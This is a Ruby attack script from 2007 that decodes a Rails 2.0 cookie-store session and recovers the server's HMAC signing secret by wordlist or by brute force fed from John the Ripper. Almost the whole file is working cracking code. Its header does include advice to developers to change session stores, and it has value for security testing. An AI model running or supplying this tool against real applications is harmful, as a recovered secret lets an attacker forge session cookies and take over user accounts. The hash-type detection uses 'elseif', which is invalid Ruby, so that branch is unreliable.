# # BustRailsCookie.rb -- Decode Rails 2.0 Client Side Cookie Store # and Attempt to Recover Server Side Secret Password # Version: 1.1.0 # # Author: Corey Benninger (www.IntrepidusGroup.com) - Nov 2007 # Note: Please don't use the default rails cookie session store in your apps. # One line will fix this in your environmental files, just choose a session store. # config.action_controller.session_store = :memory_store # # Usage: Use the "-w" and pass in a wordlist to try cracking with that. Alternatively # standard in is also supported. This allows you to pipe in John the Ripper as # your wordlist generator (use the "-b" flag). Required gems should be installed # with rails ("gem install rails --include-dependencies") or you can grab them # stand alone. # # Example: # $ ruby BustRailsCookie.rb -w dictionary_file.txt BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%25250ASGFzaHsABjoKQHVzZWR7AA%25253D%25253D--0a111222b4d4703d15a4a3366911513ed39b5b75 # or # $ /cygdrive/C/Bin/john/john-mmx.exe -i --stdout | ruby BustRailsCookie.rb -b BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%25250ASGFzaHsABjoKQHVzZWR7AA%25253D%25253D--0a111222b4d4703d15a4a3366911513ed39b5b75 # require 'cgi' require 'base64' require 'openssl' require 'optparse' banner = "Usage: #{$0} [-h HASHTYPE] [-w WORDLIST_FILE] [-b] " ########################## ### Set Default Values ### ########################## bruteforce = FALSE hashtype = 'SHA1' wordlist = '' opts = OptionParser.new do |opts| opts.banner = banner opts.on("-h", "--hash HASH") do |h| hashtype = h end opts.on("-w", "--wordlist [FILE]") do |w| wordlist = w end opts.on("-b") do |b| bruteforce = TRUE end end begin opts.parse!(ARGV) rescue Exception => e puts e, "", opts exit end cookie = ARGV.shift if cookie == nil || cookie.length < 2 print banner exit end #################################### ### Print out the Session info ### #################################### data, digest = CGI.unescape(cookie).split('--') puts "\n***Dumping session value***" puts Base64.decode64(data) #################################### ### Check Hash and set Hash Type ### #################################### if digest == nil print "\nNo hash found. Cookie should be 'CookieValue--HashValue'\n" exit end if digest.length != 40 && hashtype == 'SHA1' if digest.length == 64 print "\nUsing SHA256\n" hashtype = 'SHA256' elseif digest.length == 128 print "\nUsing SHA512\n" hashtype = 'SHA512' elseif digest.length == 32 print "\nUsing MD5\n" hashtype = 'MD5' else print "\nWARNING: Default hash should be 40 characters long. This cookie hash is: #{digest.length}\nCracking will most likely fail. Try setting the proper hash type.\n" end end data = CGI.unescape(data) if wordlist != '' puts "\n\n***Beginning Word List Attack***\n" File.open(wordlist, "r").each_line do |line| if digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype), line.chomp, data) puts "\n\n***PASSWORD FOUND***\nPassword is: #{line}" exit end end puts "\nSorry. Password not found in wordlist.\n" end #################################### ### Start Brute Force Attack ### #################################### if bruteforce puts "\n\n***Beginning Brute Force Attack... start typing***\n" pwd = '' while true pwd = gets.chomp! if digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype), pwd, data) puts "\n\n***PASSWORD FOUND***\nPassword is: #{pwd}" exit end end end